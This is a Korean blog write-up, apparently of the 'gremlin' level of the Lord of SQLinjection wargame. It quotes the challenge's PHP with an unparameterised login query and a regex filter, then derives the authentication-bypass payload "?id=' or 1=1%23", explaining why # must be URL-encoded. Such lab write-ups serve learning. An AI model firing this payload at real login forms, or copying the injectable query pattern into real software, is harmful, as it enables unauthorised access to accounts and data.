가장 쉬운 문제이다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
코드를 하나씩 해석하면 여긴 정규식으로 필터링을 하는 부분이다.
잘은 이해가 되질 않으나 _ .\ 같은 거를 우회하는 듯. 테스트해보자.
id 파라미터 입력값에 _를 넣으면 필터링 걸린다.
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
이 부분이 이제 실제 풀어야 하는 쿼리문인데 일단 단순하게 id와 pw를 받아오고 처리한다.
그 다음 result는 아마 위에 있는 쿼리문을 실제 실행하는 코드
if($result['id']) solve("gremlin");
이부분이 핵심이다. id값이 뭐라도 들어오면 solve됨.
즉, id만 들어오면 된다, pw값 필요없다. pw를 무력화해라 라는 뜻.
정석대로 가보자.
id = ' or 1=1#
쿼리문 : select id from prob_gremlin where id=' ' or 1=1#' and pw=''
이렇게 넣었더니 위와 같은 결과가 나왔다. 원래는 #이 잘 입력되어야 하는데 #이 인식되지 않고 있다.
#은 url에서 예약문자로 사용하기 때문에 내가 입력한 그냥 # 그 자체 문자로 들어가는 게 아니라 예약문자로서 다른 의미로 작용함!!
그래서 우리는 그냥 just '#' 이라는 텍스트로 넣어줘야 하기 때문에, url 작성할 때 #을 인코딩한 값으로 넣어줘야 한다.
# : %23
payload는 다음과 같다.
?id=' or 1=1%23
solve!!!!
'WEB > Lord of SQLinjection' 카테고리의 다른 글
[LOS] step.6 darkelf 풀이 (0) | 2023.06.12 |
---|---|
[LOS] step.5 wolfman풀이 (0) | 2023.06.12 |
[LOS] step.3 goblin 풀이 (0) | 2023.06.12 |
[LOS] step.4 orc 풀이 (0) | 2023.06.12 |
[LOS] step.2 cobolt 풀이 (0) | 2023.05.24 |